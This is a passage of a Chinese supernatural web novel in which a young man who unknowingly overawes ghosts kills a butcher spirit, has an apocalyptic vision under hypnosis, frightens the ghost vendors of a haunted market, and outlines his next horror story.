一人一鬼对峙而立,空气中弥漫着无形的压力。
屠夫率先发出一声低沉咆哮,整个房间都为之震颤。墙上的刀架轰然倒地,插进墙里的刀拔了出来, 刀尖再一次对准宴泠昭。
“我要把你剁成肉酱。”屠夫狞笑着, 眼中闪烁着残忍的光芒。
下一秒, 几把菜刀如离弦之箭朝宴泠昭袭来。
宴泠昭凭借敏捷的反应避开大部分攻击,但仍有一把划破了他的衣袖, 留下一道浅浅的痕迹。
青年面不改色, 军队训练赋予了他面对危机时的沉着冷静。他迅速判断形势, 在心中盘算着如何尽可能生存下来。
屠夫随手一挥, 厨房中的器皿破裂,无数碎片向四周飞溅。宴泠昭就地翻滚,尽管避开了主要冲击,背部却承受了不少伤害。
“我会先剥了你的皮。”屠夫步步紧逼,故意将地板踩得嘎吱作响,“然后看着你在痛苦中挣扎。”
走到宴泠昭面前站停,表面上看屠夫什么都没做,却见宴泠昭像是被一只看不见的大手扼住了喉咙,脑袋后仰,整个人飞离地面。
呼吸逐渐困难,宴泠昭的视线开始模糊。
就在此刻,异象突生——屠夫忽然僵在原地,脸上浮现惊恐与不解的神色,眼中满是困惑。
窗外,皎洁的明月染上一抹异色,红色的光芒短暂的照亮了整个厨房,而后恢复正常。
宴泠昭感到喉咙上的压力骤然消失,没了力量支撑,他落回地面,大口喘息。不过不敢耽搁,迅速环顾了一圈四周,目光锁定了地上的一把锋利刀具。
他冲过去抓起武器,再一个箭步冲向仍然静止不动的屠夫,刀锋准确地穿透了屠夫的额头、喉咙、心口等对于人类来说致命的部位。
屠夫发出“嗬嗬”的宛如破风箱的声音,紧接着身体开始剧烈颤抖,眼中的光芒渐渐黯淡。他的表情最终凝固在难以置信,伴随最后一声不甘的呜咽,屠夫的形体开始溃散,逐渐消失在空气中。
宴泠昭喘息着单膝跪地,抬头望向窗外。
月亮已恢复往常的幽白,仿佛先前的异象只是一场错觉
一切都结束了,但宴泠昭仍紧握着手中的刀具,并没有放松警惕,指节因用力而发白。
另一边,没有了屠夫的压制,手机鬼拼凑起自己支离破碎的身体,重新聚合成人形。然后期期艾艾地挪到宴泠昭身旁,声音里带着明显的讨好:“那个我也没想到”看走眼了。
宴泠昭缓缓抬起头,浅棕色的眼眸里凝结着一层寒霜。那目光如有实质,让手机鬼感到一阵刺骨的寒意。在这样冰冷的注视下,手机鬼的双腿不受控制的发软,不消几秒便“扑通”一声跪在地上。
空气沉默得令人窒息,时间都仿佛被拉长了。
终于,宴泠昭松开刀柄,同时爆发出一阵低沉的咳嗽。也就在这时,手机铃声响起。
宴泠昭拿出手机看了看,是110的回拨电话,想起自己刚才拨打的报警电话,宴泠昭垂下眼眸想了想,按下了接通键。
***
朱德宏听完宴泠昭简短的叙述,立即联系上阳区公安局协调,抹去了宴泠昭的报警记录。处理完这些,他又急忙给宴泠昭回去电话。
“刚才没来得及问,你声音怎么了?是不是受伤了?”朱德宏的语气里透着明显的担忧。
宴泠昭又咳了几声,沙哑道:“没事,就是被掐了下脖子,休息会儿就好。”
“这怎么行!”朱德宏的声音陡然提高,严肃道:“鬼怪造成的伤害和普通伤害不一样,可能有残留影响。你必须立刻去管理处做检查!”
此时的宴泠昭已经回到了家中。他瞥了眼客厅被围殴得哀嚎求饶的手机鬼,转身走进卧室关上门,隔绝了噪音。
“我知道了。”
“不用来接,我自己打车过去。”
特别档案资料管理处,-3层。
宴泠昭刚穿好为检查而脱下的上衣,正在系最后一颗纽扣。一位白发苍苍却精神矍铄的老人走了过来:“最近怎么样啊?和邻居们相处得还愉快吗?”
宴泠昭整了整衣领,抬眸看向老人,淡然答道:“一切正常。和邻居们相处的也不错。”
老人“喔”了一声,慈祥的笑容在皱纹间舒展开来:“托你的福,研究院最新研发的几款针对诡异的武器,效果都很好。”
宴泠昭疑惑:“我?”
张棋民笑呵呵地点头:“多亏了你的邻居们配合参与测试,给我们提供了宝贵的数据。”
见宴泠昭仍一脸困惑,他继续解释道:“就是你刚来那回,你也是第一次知道你的邻居们附身在你体内。我们和他们进行了一次深入交流。他们可是看在你的面子上才愿意配合的。”
宴泠昭想起来了:“原来如此。”
见铺垫得差不多了,张棋民道出真实来意:“咳,既然来都来了,不知能否再请你的邻居们帮忙测试下新型武器?”
宴泠昭自然答应。
***
一番折腾后,已经是凌晨3:00。
宴泠昭注视着面前这位精神状态依然卓绝、甚至略显亢奋的老人,不禁心生敬佩。
准备离开的时候,尽管宴泠昭再三表示可以自己回去,但鉴于时间太晚,张棋民还是坚持安排了人送他回家。
抵达目的地后,车辆缓缓靠边停下。宴泠昭礼貌的道谢,随后开门下车离开。
司机目送青年的背影逐渐远去。他是看不见小区的,因此从他的视角出发,就是自己莫名其妙突然走了下神,等在回过神来的时候,眼前早已空无一人
热水冲刷着疲惫,却洗不去盘踞在脑海中的纷乱思绪。吹风机嗡嗡作响,吹干头发后,宴泠昭爬上床,床铺柔软舒适,却依然难以入眠。半小时后,他猛然睁开眼,瞳孔在黑暗中一片清明,没有丝毫睡意。
失眠的夜格外漫长。
翌日上午,耀眼灿烂的阳光填满阳台。
一夜未眠的宴泠昭搬了根板凳坐在阳台边,一边沐浴着温暖的阳光,一边懒洋洋地刷手机。突然,一条微信消息提示音响起。他点开一看,是董医生发来的讯息。
【董医生:一个月了,你都没有来复查,最近如何?】
宴泠昭这才想起这茬事,回复道:【我的病情好很多了,以后应该都不会去医院了。】
【董医生:真的?你要不要再来做下复查,我帮你看一下。】
从朱德宏那里得知自己可能其实没病的宴泠昭本想婉拒,但突然一个念头闪过——他所见的诡异确实被证实了是“真实存在”的,可关于太阳与月亮的异常现象,却无人提及是否正常。
或许,他的精神多多少少还是存在些问题。
思及此,宴泠昭没有急于回复,而是转向家中目前仅在的诡异手机鬼:“昨天晚上月亮是不是变红了一下?”
手机鬼闻言顿时眼皮一跳,装傻道:“没有啊。”
同时内心暗暗庆幸,还好宴泠昭每次意识到真相的时候,马上他自己就会将之遗忘。
——果然,他还是有病,只是比想象中的轻。
于是宴泠昭回复道:【我可以现在过来一趟,董医生你有空吗?】
【董医生:有的。】
医院。
熟悉的会诊室。
董医生如常询问了宴泠昭几个常规问题,随后提议进行催眠测试。
在董医生温和而专业的引导下,宴泠昭的意识逐渐沉入深处
无边无际的黑暗中,他在持续下坠。
每一回被催眠都是这一套流程,宴泠昭已经习惯了。
只不过这一回失重感仅仅持续了十几秒,他便踏上了某种实质的表面。
接着眼前逐渐浮现光亮,周围环境渐渐清晰可辨。然而映入眼帘的却并非会诊室,而是一片末日般的城市废墟景象。
黄沙漫天,天空阴翳沉郁,空气中弥漫着风雨欲来的紧迫感。风声呼啸如鬼哭狼嚎,听得人脊背生寒。
宴泠昭对这“焕然一新”的催眠景象感到好奇,不禁抬脚往前走,想四处瞧瞧。然而,没走出几步,一张被风卷来的纸页被他的腿部阻挡,贴在了他的大腿上。
宴泠昭停下脚步,拾起纸张浏览。
【《人类文明终末通告》
——联合政府最高议会致全体人类同胞:
经过长达一百七十三年的抗争,我们不得不承认,人类已走到尽头。
我们曾尝试一切手段,科学、宗教、各种神学、仪式可不管是向神祈祷,还是自我拯救,倾尽所有努力,最终只证明了一个可悲的事实:我们面对的,是来自高维度存在的收割。
真正的敌人不在地球,而在宇宙当第一个诡异出现时,我们就该明白——这是一场不对等的入侵。
祂就像孩童轻易便能撕碎纸张般扭曲现实,而人类却连祂的真容都无从窥见
地球或许只是宇宙角落的一粒微尘,而人类文明,更是不值一提。
但至少,我们可以选择如何退场。
经联合政府第199次紧急会议表决,2153年4月1日,全球现存的两百座反物质储能站将同步过载。那会是比超新星更璀璨的光辉,也是由人类的勇气谱写的最后一篇歌谣
愿死亡能温柔平息一切苦难。
人类,晚安;地球,晚安。】
宴泠昭正看的入神,一个稚嫩的童声骤然响起唤回了他散发的思绪。
“妈妈,你怎么哭了?”
宴泠昭下意识抬头望去。
不远处,一位狼狈不堪、全身灰扑扑的女子正紧抱着一个约莫六七岁的小女孩,泪流满面。
面对女儿天真无邪的疑问,女人哽咽着呢喃道:“我不该把你带来这个世界上的是妈妈对不起你。”
心神一震,宴泠昭回归现实。
45 第 45 章
◎菜市场◎
宴泠昭猛然睁开双眼, 胸口剧烈起伏了一瞬。医院的日光灯刺痛着他的双眼,将他从那个末日景象拉回现实。
“怎么样?”董医生的声音温和的问, “你看到了什么?”
宴泠昭垂下眼睫,沉默了大约半分钟。
脑海里浮现的是所谓联合政府绝望无奈的通告、漫天黄沙残垣断壁的城市、无助迷茫的母女一切都是那么真实,就像是在看一场以世界末日为题材的电影。
“我看到了末日。”宴泠昭缓缓开口。
董医生的笔尖在记录本上微微一顿,然后继续书写,“很有意思的潜意识投射。你觉得这个场景让你感到了什么?”
“烦躁。不过更多的是一种奇怪的熟悉感。”宴泠昭说着皱了下眉,眼中带着自己都不解的困惑, “仿佛我曾经去过那里,或者。”他顿了顿,斟酌用词:
“换句话说,一种很强烈的预感。”
董医生点了点头:“催眠状态下的幻象往往混合了记忆片段、焦虑和想象。你最近是不是接触了与末日有关的事情, 比如看了末日题材的创作内容等结合你对未来的担忧、不安,便形成了末日。”
宴泠昭沉默了片刻, 手指轻敲着椅子扶手, 思绪快速飞转。
他最近总是接触诡异, 而催眠状态下看到的末日似乎就是诡异造成的——这一点在那份联合政府的报告中写了。
思及此,宴泠昭“嗯”了一声,应下了董医生的猜测。
董医生露出果然如此的微笑,一边在记录本上写字, 一边说道:“这是很常见的现象。我们的大脑在处理信息时, 会将近期接触的内容与情绪状态相结合”
“那么, 您觉得我需要继续治疗吗?”他主动询问。
董医生合上记录本:“从专业角度看,你的情况有明显好转。首先, 你的感知已恢复正常, 不再像之前那样将人看得奇形怪状、恐恐怖怖。其次, 正如我先前所说, 你的病很大概率源于现实生活中的压力过大——最近你的生活是否有了变化?变得更加轻松了?我相信不仅是外部环境的改善,你的心理状态也一定好了很多。”董医生微微前倾身体,声音中透着真心为宴泠昭感到高兴的喜悦之情。
“所以,一个好消息:你或许真的不用再来复诊了。”董医生眼中闪烁着发自内心的欣慰。
感受到董医生的真诚,宴泠昭那张平日里几乎没什么表情的面庞,此刻也浮现出一抹难得的浅淡笑意。
“多谢长期以来的帮助。”
“我身为医生,而你作为我的病人,这都是我应该做的。”董医生笑得眼角的几道皱纹几乎挤在一起,“不过,我建议你减少接触那些负面题材的作品。至少在短期内,给自己一个放松期。”
“我会注意的。”宴泠昭点头。
***
走出医院大门,阳光倾泻而下,明亮得几近刺目。四周车水马龙,人来人往,构成一幅生机勃勃的日常图景,与方才催眠状态下所见的末日景象形成鲜明对比。
宴泠昭默默用力吸了口气,感受着肺部被填满的充盈,这种真实的感觉令他安心。
然而,当他抬头望向天空时,有那么一瞬间——捕捉到了一抹异象:湛蓝色的苍穹背后,隐隐约约浮现出几道细微的裂纹。
不,那不是裂纹是一条条蠕动的漆黑丝线,就好像有某种生物隐匿在幕后探出触须,试探着这个世界的边界。
宴泠昭眨了下眼睛。
异象消失得无影无踪,仿佛从未存在过。
宴泠昭轻轻晃了晃头,没有放在心上,认为这只是疲惫引起的幻觉,亦或是催眠后遗留的心理暗示。总之不是真的。
“一会儿回去吃什么?”他在心中默默询问诡异们,“回去的路上我顺便把菜买了。”
宴泠昭迈开步伐,融入人流之中,阳光下,他的影子被拉得很长,很长
一个年约三四岁的小姑娘依偎在母亲怀中,小脑袋舒适地枕在妈妈的肩头。她的目光好奇的游移着,忽然被一道异常修长的影子所吸引。小脸上绽放出发现新奇事物的兴奋,指着那边,奶声奶气的喊道:“妈妈,有个大哥哥的影子好大!”
其实更准确的描述应是“长”这个形容词,然小姑娘年纪太小,词汇库有限,便用了她认知范围内的“大”字来表达。
她的母亲并未将自家闺女的话放在心上,毕竟这不过是孩子日常发现的众多“新鲜事物”之一——在三四岁大的孩童眼中,看什么都惊奇。
“嗯,好,妈妈看到了。”女人心不在焉的应和着。实际上,她连头都没回,目光专注于前方的道路,谈何看到。
***
姜诗云和欧悦灵今天休假。准确的说,整个侦查三组今天都休假。
两人住的近,平日工作繁忙之余,养成了互相串门蹭饭的习惯。
今日,她们原本计划前往常光顾的商超买菜,然而没走多远,发现路边不知什么时候开了个菜市场。
“咦?原先这里有菜市场吗?”欧悦灵疑惑的问道。
姜诗云停下脚步,目光在街景与记忆之间来回比对,迟疑道:“好像没有吧。说起来我们多久没走这条路了来着?好像有几个月了,之前我们都是开车从另外一条路过去。”
欧悦灵:“那应该就是在我们没有过来的期间开的。来都来了,进去看看吧,如果商品质量不错,我们在这里买能省一大段路程呢。"
于是两人手挽着手,进入了这个新开的菜市场。
初入市场一切正常。
蔬果色泽鲜亮,空气中弥漫着混合香料与新鲜食材的气息。两人在几个摊位前驻足,挑选了一些蔬菜水果和辅料,接着准备去另一边的生肉区买肉。
突然,两人默契的感到一阵难以言喻的异样感。
欧悦灵首先注意到那些微妙的视线——摊贩们似乎都在注视她们,目光中带着某种隐秘的热切。
“你有没有觉得有点奇怪?”欧悦灵压低声音问道。
姜诗云不动声色的环顾四周,点了点头:“整个市场的人好像都在看我们。”
可当她们试图直接与某个摊主对视抓现行时,对方又总能提前移开视线,一副很正常的做自己事情的样子:或整理货物,或擦拭台面,或招呼别的顾客。
这种刻意的回避更可疑了。
倘若是普通人,可能会将这归结于自己过度敏感,安慰自己都是错觉。
然而,姜诗云和欧悦灵都经过严格的训练,她们相信自己的感觉/直觉——那种被无数双眼睛窥视的不适感,绝非单纯的“神经过敏”。
两人交换了一个眼神,同时加快脚步,准备先离开菜市场再说。
四周的摊贩们见状知道两人是发现了,不再掩饰自己的注视,目光如同实质般黏着在两人身上。
同一时刻,姜诗云提着的塑料袋里,一颗苹果表面缓缓浮现出类似人脸的纹路,而欧悦灵手中的青椒开始无声地蠕动。
“西南方向约五十米,看到了么。”姜诗云压低声音道。军人的警觉性让她从一开始就下意识评估了周围的环境,因此才能立马找到突破口。
欧悦灵点头。
“很好。”姜诗云绷紧全身肌肉,蓄势待发,“我数到三,你向左,我向右。”
“一”姜诗云轻声数着。
旁边卖肉的摊主突然举起屠刀,原本和蔼可亲的面容变得阴森狰狞,恶意满满。
“二”
另一边,背对着她们卖鱼的摊主脖子扭动180°看了过来。
“三!”
卖蔬菜的老太太咧嘴一笑,露出满口尖利的牙齿。
两人同时行动,姜诗云抓起身边一个空篮子当作临时武器,欧悦灵则抄起一根长葱,摆出防御姿态。然而,她们惊讶的发现,这些已经演都不演了的诡异们并没有立即扑上来,而是形成了一个松散的包围圈,似乎在享受猎物挣扎的乐趣。
“它们在玩弄我们。”欧悦灵冷静分析,“就像猫戏弄老鼠那样。”
姜诗云和欧悦灵背靠背站立,她们只是出来买菜,谁想会遇到这种事,根本没带武器。而且——这诡异数量是不是太多了点?
就在这紧张时刻,两人发现诡异们表情骤然一变,而后迅速各回各摊,就好像刚刚什么都没发生过
宴泠昭走进菜市场,目光平静的扫视了一圈四周的摊位。
原本蠢蠢欲动的鬼怪们在看到宴泠昭的瞬间纷纷低下头,装作正常的整理自己的货物。
宴泠昭完全没有意识到周围气氛的诡异。他环顾四周片刻,在心中确定了采购路线,径直朝一位卖蔬菜的老太太走去,而后在老太太的摊前站定,认真挑选菜品。
“小青菜多少钱一斤?”他问道,声音平静。
刚才还露出满口尖利獠牙的老太太努力挤出一个笑容,声音都在发抖:“二、二块五一斤。”
宴泠昭点点头:“好,给我称两斤吧。”话音刚落,他忽地感到一阵如芒在背的不适感——社恐对他人的目光尤为敏感。
宴泠昭略微侧身,发现是两位女性正以复杂的眼神凝视着自己,顿了下,礼貌的问:“有事吗?”
姜诗云和欧悦灵如临大敌般死死盯着面前神情自若的青年。她们当然不可能看不出菜市场的鬼怪们害怕青年——
那些凶残的鬼怪在青年面前,就像一只温顺的羔羊。
她们不确定青年究竟是人是鬼:鉴于青年太像人了。可如果青年是人,又怎震慑得住众鬼。
眼下的情况是“小鬼”她们都没办法,何况又来了个“大鬼”。不出意外的话,她们怕是难逃厄运了。
抱着这个想法,欧悦灵决定孤注一掷拼一把,试探道:“你没注意到异常吗?”
宴泠昭那双浅棕色的眸子眼底倒映着两位女生的身影:“异常?你是说价格?”
老太太闻言,登时怨毒的瞪了欧悦灵一眼,随即转向宴泠昭,满脸堆笑道:“没有啊!我这个价格很公道的,大家都卖这个价!不过客人您要是觉得贵,我可以给您便宜点”
宴泠昭摇了摇头,向老太太投去一个安抚的眼神,随后对欧悦灵解释道:“青菜两块五是市场正常价。”
完全不是这个意思的欧悦灵:“”
“一共五块钱,感谢惠顾!”老太太将宴泠昭要的两斤青菜装进袋子,递给宴泠昭时手指微微颤抖。
宴泠昭接过袋子,目标明确的走向下一个摊位,完全没注意到被他“选中”的摊主在看见他朝自己走来后,脸上流露出的恐惧。
——卖肉屠夫的双手颤抖得厉害,刀都快拿不稳了,仿佛他面对的不是顾客,而是一位难以言说的恐怖存在。
“有猪里脊吗?”宴泠昭问道。
“有、有的,客人。”屠夫声音颤抖,脸上的横肉不受控制地抽搐了几下,小心翼翼的将自己摊位上最新鲜最好的里脊肉拿出来,“您看这块怎么样?”
“嗯,就这块吧。能帮我切成肉条吗?”
“当然可以。”
“那就麻烦你帮我切成适合炸酥肉的大小。”
“好的。”
买完肉,宴泠昭转身,发现方才那两位女生仍在自己附近。他以为她们也是来买肉的,便礼貌的往旁边让出空间,说道:“我好了,你们买吧。”
然而,两个女生完全没有要买肉的意思。
姜诗云冷静的解释道:“我们两个是外地来的,不确定本地的价格,怕被骗,可以跟着你看看吗?”
宴泠昭略作思考,点头应允:“可以,不过我准备再买条鱼就结束了。”
姜诗云不动声色的松了口气:“感谢。”
【作者有话说】
小贴士:三组的人没见过主角,见过主角的是二组五组
感谢支持~[红心]
46 第 46 章
◎分明是一群被死亡威胁的鬼怪在苦苦求饶◎
水产区挨着生肉区, 就在生肉区下方。而宴泠昭所处的位置恰好位于水产区、生肉区与蔬菜区交汇的夹道处(他买肉的摊子就是在夹道旁)。所以,宴泠昭只需走几步, 便能抵达贩卖各类海/河鲜的摊位。
只是刚迈出一步,身后便传来一阵细微的窸窸窣窣声,随即是物品落地的声响——姜诗云和欧悦灵突然意识到一个被遗忘的危险:她们先前在这诡异市场购买的蔬果辅料,如今仍拿在手中。
实际上,若不是袋子里面的东西动了,被她们感觉到, 她们还想不起来,而以她们的谨慎在明知道不对劲的时候怎么可能会忘掉这么重要的事。
可想而知,她们已经中招了。
二人脸色骤变,随即松开手, 将袋子丢在地上。
前面的宴泠昭听见动静,停下脚步侧身望来。
只见两个女生手中拎着的购物袋均掉在地上, 内容物滚落一地:几个布满虫眼的苹果、蔫软的青椒、布满灰尘甚至结了蛛网的香料包所有东西的品质都差得惊人, 明显是放置已久/保存不当的劣质产品。
宴泠昭陷入沉默。
两人明显是被坑了, 但这些食材的糟糕质量肉眼可见,她们怎么也要?
“你们买了这些?”不相信两个看起来智商没问题的成年人居然会上这种当的宴泠昭语气复杂的问道。
姜诗云和欧悦灵此刻已经意识到了什么。这个“大鬼”,好像很遵循普通人的生活规则。
二人对视一眼,瞬间明白了彼此的意思。
“是的。”姜诗云脸不红心不跳的的承认道。
宴泠昭:“你们看不出来这些东西质量都不太好?”
听出宴泠昭语气里的诧异, 两人面不改色的同时点了点头。
什么是生活九级残障, 这就是了。
宴泠昭颇感一言难尽, 也觉得坑了两个女生的老板实在过分。
“你们在哪儿买的?带我去。”宴泠昭一边说着,一边蹲下身, 伸手去捡那些散落在地的劣质食材。
姜诗云和欧悦灵见状, 几乎是条件反射地同时蹲下。
“我们自己来!”欧悦灵急忙道, 快速将散落的食材一一捡回袋中。
姜诗云也没闲着, 把最后几个布满虫眼的苹果装好。
“都在哪买的?”宴泠昭又问了一遍。
两人自然听懂了宴泠昭的意思。
“离这儿最近的是那个蔬菜摊。”姜诗云指向不远处一个年轻摊主的铺位。
确认目标,宴泠昭走了过去,姜诗云和欧悦灵紧随其后。
蔬菜摊主看起来比宴泠昭大不了几岁。见宴泠昭朝自己走来,悬着的心彻底死了。
“就是他,我们的青椒就是在他这儿买的。”欧悦灵指认道。
原来是你小子把煞神带过来的!蔬菜摊主气得七窍生烟,恨不得当场虐杀了欧悦灵,但他不敢。
宴泠昭看着面前脸皮不知道为什么抽搐了几下的蔬菜摊主,道:“把你们买的东西拿出来给他看。”
姜诗云依言从袋子里取出几根蔫软的青椒放在摊位上——至少放了一周,表皮都皱了,颜色也发黄。
宴泠昭垂眸看了眼青椒,又抬眼重新看向蔬菜摊主,声音平静却带着一股难以言喻的压迫感:“这种丢了都没人要,你还卖给人家。”
摊主浑身颤抖,冷汗直流,“对、对不起。我马上退钱,双倍退”
宴泠昭皱眉,语气不悦:“你这样做,败坏的是我们整个地方的名声,你觉得人家会对我们城市留下什么印象?”
摊主连连点头,不断擦拭着冷汗:“您说得对,您太对了我这就赔偿!”
他哆嗦着双手,从柜台下取出一沓钱,数都不数就推给姜诗云,然后又从摊位后面的箱子里取出几个青翠欲滴的青椒。这些青椒色泽鲜亮,水分充足,看起来就像是刚从园子里摘下来的。
“这是我今早才进的新货,请您收下。”摊主扯了扯嘴角,讨好道。
欧悦灵在一旁不动声色的观察。摊主应该没说谎,这次的青椒确实是普通青椒,没有任何异常迹象。
不过她也不能百分百确定,毕竟一开始她不也没发现问题吗。但看摊主这么害怕青年,量他是不敢撒谎的。
下一个是香料摊位。
香料摊主是名中年男子,原本正在与一位顾客交谈,看到宴泠昭走来,顾客顿时如同见了瘟神般迅速离开,留下香料摊主硬着头皮上前接待。
“发霉的香料包是你卖的?”宴泠昭还未走近,直接发问。
见宴泠昭是来找事的,香料摊主几乎是立刻跪了下来,双手高举过头顶:“大人息怒!不知道您的朋友光临,是我有眼无珠。”
宴泠昭到口的话卡在喉咙,几秒后才说道:”什么大人不大人的,你这是做什么?站起来好好说话。”
姜诗云和欧悦灵虽说早有猜测,但眼下心中还是不免掀起了一阵惊涛骇浪——青年对这些诡异的影响比她们想象的大得多。
香料摊主听言立刻站起,却依然弯腰驼背,不敢直视宴泠昭:“我这就退钱,双倍不,三倍退!”说着,他慌忙从口袋里掏出皱巴巴的纸币,数量远超姜诗云先前支付的金额。
宴泠昭不语,觉得摊主是不是搞错了什么,把他当黑恶势力了吗?
摊主却误会了宴泠昭的沉默,赶忙道歉:“对不起!我错了!我真的知错了!”说的那是声泪俱下,仿佛在忏悔滔天大罪,同时从柜台下取出几包包装精美的新香料,“这是我珍藏的上好香料,平时自己都舍不得用,求您收下。”
宴泠昭:“”
接下来是水果摊,以及别的两人曾购物过的摊子。
而每到一处,场景几乎都如出一辙——摊主们看到宴泠昭靠近,无一例外瑟瑟发抖;面对质问从不争辩,连连道歉;主动退还超额赔偿,还拿出最优质的商品作为补偿。
整个过程,宴泠昭一开始还感到不适,后面就习惯了,或者说麻木了。可能是怕他举报吧,这么一想,宴泠昭丝毫没有意识到摊主们的反应早已超出了正常范畴:没有商贩会因为这点小事就如此惊恐,更不会毫无讨价还价就主动三倍赔偿。
找完最后一位摊主,宴泠昭对姜诗云欧悦灵说道:“这个菜市场的服务态度还是不错的,虽然一开始卖了些差货,但态度诚恳,赔偿也很大方。”
欧悦灵&姜诗云:“嗯”
这是赔偿的问题吗?分明是一群被死亡威胁的鬼怪在苦苦求饶。
宴泠昭:“好了,我要去水产区那边买鱼,你们是?”
“跟你去!”两人异口同声的说道。
依旧是宴泠昭走在前面,她们跟在后面。
姜诗云用胳膊轻轻捅了捅欧悦灵,小声道:“快看,好多店都关了。”
确实如此,在宴泠昭行进路线的后方,一个接一个的摊位悄无声息的收摊离去,仿佛在逃避某种天灾。
而这一切的中心:宴泠昭——本人却全然不知自己的存在让整个菜市场陷入了恐慌。
当他在一个鱼摊前站立,询问老板“这条鱼多少钱”时,老板双腿一软,视死如归的说道:“不要钱!都送您!”
宴泠昭:“?”
最后该是多少钱,宴泠昭便付了多少钱。
要采购的东西都买齐了,宴泠昭转向两位女生:“我买好了。”
言下之意他准备走了。
姜诗云和欧悦灵早就想走了,此刻更是迫不及待。
“我们要买的东西也买好了,一起走吧?”
宴泠昭点头,三人一同朝出口走去。
在他们身后,整个菜市场宛如被一双无形的手攥紧,屏息凝神。等到宴泠昭的背影消失在出口处,菜市场内不约而同响起数声如释重负的叹息。
“终于走了。”
“以前不都好好的吗,怎么这次专找麻烦来了?”
“是帮那两个人类吧。”
“就是想不通为什么帮人类”
***
太阳下,姜诗云和欧悦灵感受着阳光的温暖,不敢相信自己真的就这样安然无恙地离开了菜市场。不过她们也没完全放松警惕,毕竟还有个“大鬼”在。
“等一下。”宴泠昭突然开口。
两人瞬间绷紧全身肌肉,手指下意识摸向腰间,可惜摸了个空——那里是配枪的位置,但她们这趟出门没带枪。
以为“大鬼”终于要朝自己下手了,却不想青年只是指了指姜诗云的发髻:“你发圈散了。”
姜诗云:“谢谢提醒。”说着,她抬手整理起自己的头发,目光一刻也不敢离开宴泠昭。
“不客气。”宴泠昭点了下头,随后转身向自己家走去。
目送青年的身影渐行渐远,直至完全消失在视野里,两人都没说是彻底放松下来,而她们的后背早已被冷汗浸透。
欧悦灵几乎是脱力般靠在路灯上,深呼吸调整紊乱的心跳。
“我们之前见过的所有诡异,都没有像今天这样的。”姜诗云低声说。
欧悦灵拿出手机:“必须立刻报告上级。这种级别的诡异太可怕了,搞不好威力堪比核弹。”虽然是开玩笑,但足以证明她对那个“大鬼”忌惮之深,“还有这个菜市场,这么多鬼,估计已经是鬼蜮了,也得处理”
四十分钟后,两人抵达基地,向负责人汇报今天的遭遇。她们详细描述了菜市场的诡异现象,以及那个令所有鬼怪都恐惧的年轻人——特别着重描述了宴泠昭的外貌特征、言谈举止和那种无形的威慑力。
“他看起来完全像个普通人,”欧悦灵说,“但那些鬼怪们非常惧怕他,没有不怕他的。”
由于事态严重性,这份报告很快被层层上报,最终落在了朱德宏的办公桌上。
朱德宏皱眉阅读报告,起初面色凝重:报告中描述的“大鬼”显然具有极高的威胁性,能让一整个鬼域的诡异集体恐惧,这种级别极为罕见。
然而,当他翻到画像师根据描述画出来的人物图后,沉默了。
这不是宴泠昭是谁。
朱德宏抽了下嘴角,随即长舒一口气,紧绷的神经放松开来。
但紧接着,另一重担忧又浮上心头。
宴泠昭体内最强大的那个诡异至今未现身(朱德宏自己的猜测,他也问过宴泠昭体内的鬼邻居们,鬼邻居们抱着看好戏的想法没告诉他纯是他想多了),还有月亮上那个和宴泠昭有着某种未知关联的存在——
朱德宏揉了揉太阳穴,一阵深深的疲惫感涌上心头。
真是愁死人了。
【作者有话说】
感谢支持~[红心]
47 第 47 章
◎《寄生》开篇◎
《一本恐怖小说》
//
评论区
【大大怎么还不更新(流泪)】
【求求了, 这都多少天了】
【再不更新就要饿死啦!】
【大大到底去哪儿了?快回来吧T^T】
看着评论区的哀嚎,宴泠昭有那么一瞬间内心泛起微妙的愧疚。
确实, 距离上次更新已过去相当一段时间,他也差不多休息够了。
所以——他这不是已经坐在电脑前,准备更新了吗,别催了。
打开文档,宴泠昭决定先将下一篇的框架理清,做个大纲出来。上一篇《水鬼》结尾埋下的悬念(坑)也该填上了。
宴泠昭沉思片刻, 随后指尖轻落键盘,一串清脆的敲击声打破了房间的宁静。
首先取个名字:【《寄生》】
写到这里,宴泠昭停下。
说起来,他最初的定位是创作民俗鬼怪题材的短篇集。而生物寄生这个设定, 多多少少偏离了核心主题。更不用说上一篇结尾他还灵机一动整了个“祸及全城”,更是天马行空, 完全背离了最初的构思
不仅没按大纲来, 更是偏离了他一开始的想法, 都不是好结局坏结局的问题了,是癫得他现在想起来都觉得莫名其妙。
——他当初到底为什么要那么写。
宴泠昭陷入沉默。而且,他居然到现在才反应过来。要知道写网文偏离核心梗就是找死,直接扑穿地心的那种。
他写网文的时间也不短了, 新手时期都没犯这种错, 怎么现在反而犯错了。
这么一想, 一时间,宴泠昭创作的热情消退了几分。他返回《水鬼》末章, 翻看读者评论, 心情复杂。
嗯居然没有读者质疑吗?难道是因为他的文名?
也是。《一本恐怖小说》, 顾名思义, 讲的是恐怖故事,只要能给读者提供恐惧情绪就够了,至于具体是什么题材不重要。
而他也没在文案上标注是鬼怪民俗类小说,把创作范围锁死。
总之,感谢读者们的宽容与喜爱。
然后就是他自己的问题了——现在回头修改显然来不及了,只能从新篇章入手,尽可能将主题拉回正轨。
退出评论区,宴泠昭再次打开文档,开始勾勒新故事的轮廓:
【《寄生》
梗概:故事发生在滨江市(参考现实G市),九月份,雨季的末尾。连绵不断的雨,持续了半月之久。天空终日阴沉,仿佛在预兆着某种不详的降临
主角是城市排水系统工程师。一次与同事进入下水道例行检修后,发现同事迟迟未返。呼唤无人应答,他只得返回地下寻找在另一区域作业的同事,却发现对方面朝下漂浮在污水中,已无生命迹象。
尸体被送往法医处进行检验。
主角心绪不宁的回到家中,拧开水龙头,接了一杯水饮用——因家中安装得有净水设备,他向来习惯直接饮用自来水。
肉眼看不见的卵随水流进入他的体内。
与此同时,类似的情景正在整座城市的无数家庭中上演
另一边,法医开始解剖死者遗体。当剖开腹腔的那一刻,法医骤然瞪大双眼,表情凝固在极度恐惧中。
翌日,交接班的同事发现法医不知所踪,而那具敞开腹部的尸体孤零零地躺在手术台上——这违背了职业操守
几番联系未果。法医仿佛人间蒸发,杳无音讯。
接下来的一个月,城中陆续发生多起离奇失踪案,弄得人心惶惶。
主角有一个女儿,与前妻离婚后,抚养权归于对方,但他保有探视权。
这天休假,经前妻同意,主角带女儿前往水上乐园游玩——因连日阴雨,今日难得放晴,女儿提出想要游泳,主角便干脆带女儿去水上乐园。
原本该是欢乐的亲子时光,却不想成为噩梦的开端
设定:水鬼能够自体繁殖,并非生物,确实属于鬼怪范畴。本不具备繁殖能力,作为鬼也无此欲望与本能,但受到某种邪恶力量影响(参考克系神话黑山羊)】
写到这里,宴泠昭顿住,眼神迷离。
